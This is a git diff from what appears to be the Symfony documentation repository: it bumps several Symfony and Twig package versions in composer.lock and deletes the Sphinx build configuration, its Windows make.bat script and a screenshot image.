+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/dc3063ba22c2a1fd2f45ed856374d79114998f91",
-                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/1100343ed1a92e3a38f9ae122fc0eb21602547be",
+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be",
                 "shasum": ""
             },
             "require": {
@@ -1335,7 +1418,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1380,7 +1463,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1396,25 +1479,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-07T16:49:33+00:00"
+            "time": "2021-07-28T13:41:28+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "v5.2.4",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f"
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
-                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
+                "url": "https://api.github.com/repos/symfony/process/zipball/6bacc79268fb8a2fac52c9f66afe5e041220233f",
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.15"
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -1442,7 +1525,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v5.2.4"
+                "source": "https://github.com/symfony/process/tree/5.4"
             },
             "funding": [
                 {
@@ -1458,7 +1541,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T10:15:41+00:00"
+            "time": "2021-11-03T09:24:47+00:00"
         },
         {
             "name": "symfony/service-contracts",
@@ -1541,16 +1624,16 @@
         },
         {
             "name": "symfony/string",
-            "version": "v5.2.6",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572"
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
-                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
+                "url": "https://api.github.com/repos/symfony/string/zipball/d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
                 "shasum": ""
             },
             "require": {
@@ -1604,7 +1687,85 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v5.2.6"
+                "source": "https://github.com/symfony/string/tree/v5.3.10"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-10-27T18:21:46+00:00"
+        },
+        {
+            "name": "symfony/translation-contracts",
+            "version": "v2.4.0",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/translation-contracts.git",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/95c812666f3e91db75385749fe219c5e494c7f95",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5"
+            },
+            "suggest": {
+                "symfony/translation-implementation": ""
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "2.4-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Contracts\\Translation\\": ""
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Generic abstractions related to translation",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1620,20 +1781,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-17T17:12:15+00:00"
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.3.0",
+            "version": "v3.3.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5"
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
-                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a27fa056df8a6384316288ca8b0fa3a35fdeb569",
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569",
                 "shasum": ""
             },
             "require": {
@@ -1643,7 +1804,7 @@
             },
             "require-dev": {
                 "psr/container": "^1.0",
-                "symfony/phpunit-bridge": "^4.4.9|^5.0.9"
+                "symfony/phpunit-bridge": "^4.4.9|^5.0.9|^6.0"
             },
             "type": "library",
             "extra": {
@@ -1684,7 +1845,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.3.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.3"
             },
             "funding": [
                 {
@@ -1696,7 +1857,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-08T09:54:36+00:00"
+            "time": "2021-09-17T08:44:23+00:00"
         }
     ],
     "packages-dev": [],
@@ -1712,5 +1873,5 @@
     "platform-overrides": {
         "php": "7.4.14"
     },
-    "plugin-api-version": "2.0.0"
+    "plugin-api-version": "2.1.0"
 }
diff --git a/_build/conf.py b/_build/conf.py
deleted file mode 100644
index 49cc12581ad..00000000000
--- a/_build/conf.py
+++ /dev/null
@@ -1,301 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Symfony documentation build configuration file, created by
-# sphinx-quickstart on Sat Jul 28 21:58:57 2012.
-#
-# This file is execfile()d with the current directory set to its containing dir.
-#
-# Note that not all possible configuration values are present in this
-# autogenerated file.
-#
-# All configuration values have a default; values that are commented out
-# serve to show the default.
-
-import sys, os
-
-# If extensions (or modules to document with autodoc) are in another directory,
-# add these directories to sys.path here. If the directory is relative to the
-# documentation root, use os.path.abspath to make it absolute, like shown here.
-sys.path.append(os.path.abspath('_exts'))
-
-# adding PhpLexer
-from sphinx.highlighting import lexers
-from pygments.lexers.compiled import CLexer
-from pygments.lexers.shell import BashLexer
-from pygments.lexers.special import TextLexer
-from pygments.lexers.text import RstLexer
-from pygments.lexers.web import PhpLexer
-from symfonycom.sphinx.lexer import TerminalLexer
-
-# -- General configuration -----------------------------------------------------
-
-# If your documentation needs a minimal Sphinx version, state it here.
-needs_sphinx = '1.8.5'
-
-# Add any Sphinx extension module names here, as strings. They can be extensions
-# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
-extensions = [
-    'sphinx.ext.autodoc', 'sphinx.ext.doctest',
-    'sphinx.ext.todo', 'sphinx.ext.coverage', 'sphinx.ext.ifconfig',
-    'sphinx.ext.viewcode', 'sphinx.ext.extlinks',
-    'sensio.sphinx.codeblock', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice'
-    #,'sphinxcontrib.spelling'
-]
-
-#spelling_show_sugestions=True
-#spelling_lang='en_US'
-#spelling_word_list_filename='_build/spelling_word_list.txt'
-
-# Add any paths that contain templates here, relative to this directory.
-# templates_path = ['_theme/_templates']
-
-# The suffix of source filenames.
-source_suffix = '.rst'
-
-# The encoding of source files.
-#source_encoding = 'utf-8-sig'
-
-# The master toctree document.
-master_doc = 'index'
-
-# General information about the project.
-project = 'Symfony Framework Documentation'
-copyright = ''
-
-# The version info for the project you're documenting, acts as replacement for
-# |version| and |release|, also used in various other places throughout the
-# built documents.
-#
-# The short X.Y version.
-# version = '2.2'
-# The full version, including alpha/beta/rc tags.
-# release = '2.2.13'
-
-# The language for content autogenerated by Sphinx. Refer to documentation
-# for a list of supported languages.
-#language = None
-
-# There are two options for replacing |today|: either, you set today to some
-# non-false value, then it is used:
-#today = ''
-# Else, today_fmt is used as the format for a strftime call.
-#today_fmt = '%B %d, %Y'
-
-# List of patterns, relative to source directory, that match files and
-# directories to ignore when looking for source files.
-exclude_patterns = ['_build']
-
-# The reST default role (used for this markup: `text`) to use for all documents.
-#default_role = None
-
-# If true, '()' will be appended to :func: etc. cross-reference text.
-#add_function_parentheses = True
-
-# If true, the current module name will be prepended to all description
-# unit titles (such as .. function::).
-#add_module_names = True
-
-# If true, sectionauthor and moduleauthor directives will be shown in the
-# output. They are ignored by default.
-#show_authors = False
-
-# The name of the Pygments (syntax highlighting) style to use.
-pygments_style = 'symfonycom.sphinx.SensioStyle'
-
-# A list of ignored prefixes for module index sorting.
-#modindex_common_prefix = []
-
-# -- Settings for symfony doc extension ---------------------------------------------------
-
-# enable highlighting for PHP code not between ``<?php ... ?>`` by default
-lexers['markdown'] = TextLexer()
-lexers['php'] = PhpLexer(startinline=True)
-lexers['php-annotations'] = PhpLexer(startinline=True)
-lexers['php-standalone'] = PhpLexer(startinline=True)
-lexers['php-symfony'] = PhpLexer(startinline=True)
-lexers['rst'] = RstLexer()
-lexers['varnish2'] = CLexer()
-lexers['varnish3'] = CLexer()
-lexers['varnish4'] = CLexer()
-lexers['terminal'] = TerminalLexer()
-lexers['env']  = BashLexer()
-
-config_block = {
-    'apache': 'Apache',
-    'markdown': 'Markdown',
-    'nginx': 'Nginx',
-    'rst': 'reStructuredText',
-    'varnish2': 'Varnish 2',
-    'varnish3': 'Varnish 3',
-    'varnish4': 'Varnish 4',
-    'env': '.env'
-}
-
-# don't enable Sphinx Domains
-primary_domain = None
-
-# set url for API links
-api_url = 'https://github.com/symfony/symfony/blob/master/src/%s.php'
-
-
-# -- Options for HTML output ---------------------------------------------------
-
-# The theme to use for HTML and HTML Help pages.  See the documentation for
-# a list of builtin themes.
-html_theme = "sphinx_rtd_theme"
-
-# Theme options are theme-specific and customize the look and feel of a theme
-# further.  For a list of options available for each theme, see the
-# documentation.
-html_theme_options = {
-    'logo_only': True,
-    'prev_next_buttons_location': None,
-    'style_nav_header_background': '#f0f0f0'
-}
-
-# Add any paths that contain custom themes here, relative to this directory.
-#html_theme_path = []
-
-# The name for this set of Sphinx documents.  If None, it defaults to
-# "<project> v<release> documentation".
-#html_title = None
-
-# A shorter title for the navigation bar.  Default is the same as html_title.
-#html_short_title = None
-
-# The name of an image file (relative to this directory) to place at the top
-# of the sidebar.
-html_logo = '_static/symfony-logo.svg'
-
-# The name of an image file (within the static path) to use as favicon of the
-# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
-# pixels large.
-#html_favicon = None
-
-# Add any paths that contain custom static files (such as style sheets) here,
-# relative to this directory. They are copied after the builtin static files,
-# so a file named "default.css" will overwrite the builtin "default.css".
-html_static_path = ['_static']
-html_css_files = ['rtd_custom.css']
-
-# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
-# using the given strftime format.
-#html_last_updated_fmt = '%b %d, %Y'
-
-# If true, SmartyPants will be used to convert quotes and dashes to
-# typographically correct entities.
-#html_use_smartypants = True
-
-# Custom sidebar templates, maps document names to template names.
-#html_sidebars = {}
-
-# Additional templates that should be rendered to pages, maps page names to
-# template names.
-#html_additional_pages = {}
-
-# If false, no module index is generated.
-#html_domain_indices = True
-
-# If false, no index is generated.
-#html_use_index = True
-
-# If true, the index is split into individual pages for each letter.
-#html_split_index = False
-
-# If true, links to the reST sources are added to the pages.
-#html_show_sourcelink = True
-
-# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
-#html_show_sphinx = True
-
-# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
-#html_show_copyright = True
-
-# If true, an OpenSearch description file will be output, and all pages will
-# contain a <link> tag referring to it.  The value of this option must be the
-# base URL from which the finished HTML is served.
-#html_use_opensearch = ''
-
-# This is the file name suffix for HTML files (e.g. ".xhtml").
-#html_file_suffix = None
-
-# Output file base name for HTML help builder.
-htmlhelp_basename = 'SymfonyDoc'
-
-
-# -- Options for LaTeX output --------------------------------------------------
-
-latex_elements = {
-# The paper size ('letterpaper' or 'a4paper').
-#'papersize': 'letterpaper',
-
-# The font size ('10pt', '11pt' or '12pt').
-#'pointsize': '10pt',
-
-# Additional stuff for the LaTeX preamble.
-#'preamble': '',
-}
-
-# Grouping the document tree into LaTeX files. List of tuples
-# (source start file, target name, title, author, documentclass [howto/manual]).
-latex_documents = [
-  ('index', 'Symfony.tex', u'Symfony Documentation',
-   u'Symfony community', 'manual'),
-]
-
-# The name of an image file (relative to this directory) to place at the top of
-# the title page.
-#latex_logo = None
-
-# For "manual" documents, if this is true, then toplevel headings are parts,
-# not chapters.
-#latex_use_parts = False
-
-# If true, show page references after internal links.
-#latex_show_pagerefs = False
-
-# If true, show URL addresses after external links.
-#latex_show_urls = False
-
-# Documents to append as an appendix to all manuals.
-#latex_appendices = []
-
-# If false, no module index is generated.
-#latex_domain_indices = True
-
-
-# -- Options for manual page output --------------------------------------------
-
-# One entry per manual page. List of tuples
-# (source start file, name, description, authors, manual section).
-man_pages = [
-    ('index', 'symfony', u'Symfony Documentation',
-     [u'Symfony community'], 1)
-]
-
-# If true, show URL addresses after external links.
-#man_show_urls = False
-
-
-# -- Options for Texinfo output ------------------------------------------------
-
-# Grouping the document tree into Texinfo files. List of tuples
-# (source start file, target name, title, author,
-#  dir menu entry, description, category)
-texinfo_documents = [
-  ('index', 'Symfony', u'Symfony Documentation',
-   u'Symfony community', 'Symfony', 'One line description of project.',
-   'Miscellaneous'),
-]
-
-# Documents to append as an appendix to all manuals.
-#texinfo_appendices = []
-
-# If false, no module index is generated.
-#texinfo_domain_indices = True
-
-# How to display URL addresses: 'footnote', 'no', or 'inline'.
-#texinfo_show_urls = 'footnote'
-
-# Use PHP syntax highlighting in code examples by default
-highlight_language='php'
diff --git a/_build/make.bat b/_build/make.bat
deleted file mode 100644
index 6d3f205272f..00000000000
--- a/_build/make.bat
+++ /dev/null
@@ -1,263 +0,0 @@
-@ECHO OFF
-
-REM Command file for Sphinx documentation
-
-if "%SPHINXBUILD%" == "" (
-	set SPHINXBUILD=sphinx-build
-)
-set BUILDDIR=.
-set ALLSPHINXOPTS=-c %BUILDDIR% -d %BUILDDIR%/doctrees %SPHINXOPTS% ..
-set I18NSPHINXOPTS=%SPHINXOPTS% .
-if NOT "%PAPER%" == "" (
-	set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
-	set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
-)
-
-if "%1" == "" goto help
-
-if "%1" == "help" (
-	:help
-	echo.Please use `make ^<target^>` where ^<target^> is one of
-	echo.  html       to make standalone HTML files
-	echo.  dirhtml    to make HTML files named index.html in directories
-	echo.  singlehtml to make a single large HTML file
-	echo.  pickle     to make pickle files
-	echo.  json       to make JSON files
-	echo.  htmlhelp   to make HTML files and a HTML help project
-	echo.  qthelp     to make HTML files and a qthelp project
-	echo.  devhelp    to make HTML files and a Devhelp project
-	echo.  epub       to make an epub
-	echo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter
-	echo.  text       to make text files
-	echo.  man        to make manual pages
-	echo.  texinfo    to make Texinfo files
-	echo.  gettext    to make PO message catalogs
-	echo.  changes    to make an overview over all changed/added/deprecated items
-	echo.  xml        to make Docutils-native XML files
-	echo.  pseudoxml  to make pseudoxml-XML files for display purposes
-	echo.  linkcheck  to check all external links for integrity
-	echo.  doctest    to run all doctests embedded in the documentation if enabled
-	echo.  coverage   to run coverage check of the documentation if enabled
-	goto end
-)
-
-if "%1" == "clean" (
-	for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
-	del /q /s %BUILDDIR%\*
-	goto end
-)
-
-
-REM Check if sphinx-build is available and fallback to Python version if any
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 goto sphinx_python
-goto sphinx_ok
-
-:sphinx_python
-
-set SPHINXBUILD=python -m sphinx.__init__
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 (
-	echo.
-	echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
-	echo.installed, then set the SPHINXBUILD environment variable to point
-	echo.to the full path of the 'sphinx-build' executable. Alternatively you
-	echo.may add the Sphinx directory to PATH.
-	echo.
-	echo.If you don't have Sphinx installed, grab it from
-	echo.http://sphinx-doc.org/
-	exit /b 1
-)
-
-:sphinx_ok
-
-
-if "%1" == "html" (
-	%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/html.
-	goto end
-)
-
-if "%1" == "dirhtml" (
-	%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
-	goto end
-)
-
-if "%1" == "singlehtml" (
-	%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
-	goto end
-)
-
-if "%1" == "pickle" (
-	%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the pickle files.
-	goto end
-)
-
-if "%1" == "json" (
-	%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the JSON files.
-	goto end
-)
-
-if "%1" == "htmlhelp" (
-	%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run HTML Help Workshop with the ^
-.hhp project file in %BUILDDIR%/htmlhelp.
-	goto end
-)
-
-if "%1" == "qthelp" (
-	%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run "qcollectiongenerator" with the ^
-.qhcp project file in %BUILDDIR%/qthelp, like this:
-	echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Symfony.qhcp
-	echo.To view the help file:
-	echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Symfony.ghc
-	goto end
-)
-
-if "%1" == "devhelp" (
-	%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished.
-	goto end
-)
-
-if "%1" == "epub" (
-	%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The epub file is in %BUILDDIR%/epub.
-	goto end
-)
-
-if "%1" == "latex" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdf" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdfja" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf-ja
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "text" (
-	%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The text files are in %BUILDDIR%/text.
-	goto end
-)
-
-if "%1" == "man" (
-	%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The manual pages are in %BUILDDIR%/man.
-	goto end
-)
-
-if "%1" == "texinfo" (
-	%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
-	goto end
-)
-
-if "%1" == "gettext" (
-	%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
-	goto end
-)
-
-if "%1" == "changes" (
-	%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.The overview file is in %BUILDDIR%/changes.
-	goto end
-)
-
-if "%1" == "linkcheck" (
-	%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Link check complete; look for any errors in the above output ^
-or in %BUILDDIR%/linkcheck/output.txt.
-	goto end
-)
-
-if "%1" == "doctest" (
-	%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of doctests in the sources finished, look at the ^
-results in %BUILDDIR%/doctest/output.txt.
-	goto end
-)
-
-if "%1" == "coverage" (
-	%SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of coverage in the sources finished, look at the ^
-results in %BUILDDIR%/coverage/python.txt.
-	goto end
-)
-
-if "%1" == "xml" (
-	%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The XML files are in %BUILDDIR%/xml.
-	goto end
-)
-
-if "%1" == "pseudoxml" (
-	%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
-	goto end
-)
-
-:end
diff --git a/_images/docs-pull-request-change-base.png b/_images/docs-pull-request-change-base.png
deleted file mode 100644
index d824e8ef1bc507beaf51bf95fbee20093dc44dff..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 5849
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
